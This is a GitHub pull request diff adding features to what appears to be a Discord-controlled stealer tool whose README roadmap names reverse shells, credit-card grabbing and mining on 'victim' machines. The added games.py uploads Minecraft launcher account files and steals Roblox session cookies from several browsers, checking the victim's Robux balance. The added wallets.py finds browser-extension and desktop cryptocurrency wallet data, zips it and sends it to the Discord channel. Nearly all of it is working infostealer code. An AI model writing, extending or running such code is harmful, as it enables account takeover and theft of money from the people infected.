Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added More Functions: READ COMMENTS #716

Open
wants to merge 3 commits into
base: v4-dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -137,4 +137,4 @@ List of features that should appear in following releases:
- [ ] traditional reverse shell creator
- [ ] grab credit cards information
- [ ] optional crypto mining (for example, when victim is idle)
- [ ] grab sessions from popular applications (Steam/Minecraft/Metamask/Exodus/Roblox)
- [ ] grab sessions from popular applications (Steam/Metamask/Exodus)
161 changes: 161 additions & 0 deletions resources/features/games.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
#<imports>
import requests
import os
import browser_cookie3
#</imports>

#<command>
@client.command(name='minecraft')
async def get_minecraft(ctx):
await ctx.message.delete()
userProfile = os.getenv("USERPROFILE")
roaming = os.path.join(userProfile, "AppData", "Roaming")


launcher_profiles_paths = os.path.join(roaming, ".minecraft", "launcher_profiles.json")


minecraftPaths = {
"Default Launcher Profiles": launcher_profiles_paths,
"Intent": os.path.join(userProfile, "intentlauncher", "launcherconfig"),
"Lunar": os.path.join(userProfile, ".lunarclient", "settings", "game", "accounts.json"),
"TLauncher": os.path.join(roaming, ".minecraft", "TlauncherProfiles.json"),
"Feather": os.path.join(roaming, ".feather", "accounts.json"),
"Meteor": os.path.join(roaming, ".minecraft", "meteor-client", "accounts.nbt"),
"Impact": os.path.join(roaming, ".minecraft", "Impact", "alts.json"),
"Novoline": os.path.join(roaming, ".minecraft", "Novoline", "alts.novo"),
"CheatBreakers": os.path.join(roaming, ".minecraft", "cheatbreaker_accounts.json"),
"Microsoft Store": os.path.join(roaming, ".minecraft", "launcher_accounts_microsoft_store.json"),
"Rise": os.path.join(roaming, ".minecraft", "Rise", "alts.txt"),
"Rise (Intent)": os.path.join(userProfile, "intentlauncher", "Rise", "alts.txt"),
"Paladium": os.path.join(roaming, "paladium-group", "accounts.json"),
"PolyMC": os.path.join(roaming, "PolyMC", "accounts.json"),
"Badlion": os.path.join(roaming, "Badlion Client", "accounts.json"),
}

found_files = False
for launcher_name, path in minecraftPaths.items():
if os.path.exists(path):
await ctx.send(f"Found `{launcher_name}` launcher file:", file=discord.File(path))
found_files = True

if not found_files:
await ctx.send(embed=discord.Embed(
title="📛 Error",
description="```No Minecraft launcher files detected!```",
color=0xff0000
))

#start roblox


@client.command(name='roblox')
async def get_roblox(ctx):
await ctx.message.delete()
roblox_cookies = {}
browsers = [
('Chrome', browser_cookie3.chrome),
('Edge', browser_cookie3.edge),
('Firefox', browser_cookie3.firefox),
('Safari', browser_cookie3.safari),
('Opera', browser_cookie3.opera),
('Brave', browser_cookie3.brave),
('Vivaldi', browser_cookie3.vivaldi)
]


for browser_name, browser in browsers:
try:
browser_cookies = browser(domain_name='roblox.com')
for cookie in browser_cookies:
if cookie.name == '.ROBLOSECURITY':
roblox_cookies[browser_name] = cookie.value
except Exception:
pass

if not roblox_cookies:

await ctx.send(embed=discord.Embed(
title="📛 Error",
description="```No Roblox cookies found!```",
color=0xff0000
))
return


roblox_cookie = next(iter(roblox_cookies.values()))
headers = {"Cookie": ".ROBLOSECURITY=" + roblox_cookie}

try:

response = requests.get("https://users.roblox.com/v1/users/authenticated", headers=headers)
response.raise_for_status()
user_info = response.json()
user_id = user_info.get("id")

if user_id:

user_details = requests.get(f"https://users.roblox.com/v1/users/{user_id}").json()


robux_balance = 0
try:
robux_response = requests.get(f"https://economy.roblox.com/v1/users/{user_id}/currency",
headers=headers)
robux_response.raise_for_status()
robux_balance = robux_response.json().get("robux", 0)
except Exception:
robux_balance = "Error retrieving balance"


avatar_url = ""
try:
avatar_response = requests.get(
f"https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds={user_id}&size=150x150&format=png")
avatar_response.raise_for_status()
avatar_data = avatar_response.json().get("data", [])
if avatar_data:
avatar_url = avatar_data[0].get("imageUrl", "")
except Exception:
avatar_url = "Error retrieving avatar"


first_half = roblox_cookie[:len(roblox_cookie) // 2]
second_half = roblox_cookie[len(roblox_cookie) // 2:]


embed = discord.Embed(
title="Roblox User Info",
color=0x00ff00 # Green color
)
embed.add_field(name="Username", value=f"`{user_details.get('name')}`", inline=True)
embed.add_field(name="Display Name", value=f"`{user_details.get('displayName')}`", inline=True)
embed.add_field(name="Robux", value=f"`{robux_balance}`", inline=True)
embed.add_field(name="Cookie (Part 1)", value=f"`{first_half}`", inline=False)
embed.add_field(name="Cookie (Part 2)", value=f"`{second_half}`", inline=False)
embed.set_thumbnail(url=avatar_url)
embed.set_footer(text="Roblox Info")


await ctx.send(embed=embed)
else:
await ctx.send(embed=discord.Embed(
title="📛 Error",
description="```Could not authenticate user!```",
color=0xff0000
))

except Exception as e:
await ctx.send(embed=discord.Embed(
title="📛 Error",
description="```Failed to retrieve Roblox info!```",
color=0xff0000
))
#</command>







106 changes: 106 additions & 0 deletions resources/features/wallets.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
#<imports>
import os
import zipfile
import tempfile
#</imports>



wallets_ext_names = {
"MetaMask": "nkbihfbeogaeaoehlefnkodbefgpgknn",
"Binance": "fhbohimaelbohpjbbldcngcnapndodjp",
"Phantom": "bfnaelmomeimhlpmgjnjophhpkkoljpa",
"Coinbase": "hnfanknocfeofbddgcijnmhnfnkdnaad",
"Ronin": "fnjhmkhhmkbjkkabndcnnogagogbneec",
"Exodus": "aholpfdialjgjfhomihkjbmgjidlcdno",
"Coin98": "aeachknmefphepccionboohckonoeemg",
"KardiaChain": "pdadjkfkgcafgbceimcpbkalnfnepbnk",
"TerraStation": "aiifbnbfobpmeekipheeijimdpnlpgpp",
"Wombat": "amkmjjmmflddogmhpjloimipbofnfjih",
"Harmony": "fnnegphlobjdpkhecapkijjdkgcjhkib",
"Nami": "lpfcbjknijpeeillifnkikgncikgfhdo",
"MartianAptos": "efbglgofoippbgcjepnhiblaibcnclgk",
"Braavos": "jnlgamecbpmbajjfhmmmlhejkemejdma",
"XDEFI": "hmeobnfnfcmdkdcmlblgagmfpfboieaf",
"Yoroi": "ffnbelfdoeiohenkjibnmadjiehjhajb",
"TON": "nphplpgoakhhjchkkhmiggakijnkhfnd",
"Authenticator": "bhghoamapcdpbohphigoooaddinpkbai",
"MetaMask_Edge": "ejbalbakoplchlghecdalmeeeajnimhm",
"Tron": "ibnejdfjmmkpcnlpebklmnkoeoihofec",
}


wallet_local_paths = {
"Bitcoin": "C:/Users/{}/AppData/Roaming/Bitcoin/wallets",
"Zcash": "C:/Users/{}/AppData/Roaming/Zcash",
"Armory": "C:/Users/{}/AppData/Roaming/Armory",
"Bytecoin": "C:/Users/{}/AppData/Roaming/bytecoin",
"Jaxx": "C:/Users/{}/AppData/Roaming/com.liberty.jaxx/IndexedDB/file__0.indexeddb.leveldb",
"Exodus": "C:/Users/{}/AppData/Roaming/Exodus/exodus.wallet",
"Ethereum": "C:/Users/{}/AppData/Roaming/Ethereum/keystore",
"Electrum": "C:/Users/{}/AppData/Roaming/Electrum/wallets",
"AtomicWallet": "C:/Users/{}/AppData/Roaming/atomic/Local Storage/leveldb",
"Guarda": "C:/Users/{}/AppData/Roaming/Guarda/Local Storage/leveldb",
"Coinomi": "C:/Users/{}/AppData/Roaming/Coinomi/Coinomi/wallets",
}


def get_wallet_paths():
wallet_paths_list = []


current_user = os.getlogin()

profiles_full_path = [
os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data", "Default"),
os.path.join(os.getenv("APPDATA"), "Opera Software", "Opera Stable"),
os.path.join(os.getenv("LOCALAPPDATA"), "Programs", "Opera GX", "User Data", "Default"),
os.path.join(os.getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "User Data", "Default"),
]

# Check extension wallets
for path in profiles_full_path:
ext_path = os.path.join(path, "Local Extension Settings")
if os.path.exists(ext_path):
for wallet_name, wallet_id in wallets_ext_names.items():
wallet_path = os.path.join(ext_path, wallet_id)
if os.path.isdir(wallet_path):
wallet_paths_list.append(wallet_path)

# Check local wallet paths
for wallet_name, wallet_path in wallet_local_paths.items():
local_path = wallet_path.format(current_user)
if os.path.exists(local_path):
wallet_paths_list.append(local_path)

return wallet_paths_list



#<command>
@bot.command(name="getwallets")
async def get_wallets(ctx):
wallet_paths = get_wallet_paths()

if wallet_paths:

with tempfile.TemporaryDirectory() as temp_dir:

zip_file_path = os.path.join(temp_dir, "wallets.zip")

with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for wallet_path in wallet_paths:
if os.path.isdir(wallet_path):
for root, dirs, files in os.walk(wallet_path):
for file in files:
file_path = os.path.join(root, file)
zipf.write(file_path, os.path.relpath(file_path, wallet_path))


await ctx.send("Wallets found and zipped! Here's your file:", file=discord.File(zip_file_path))

else:
await ctx.send("No wallets found.")
#</command>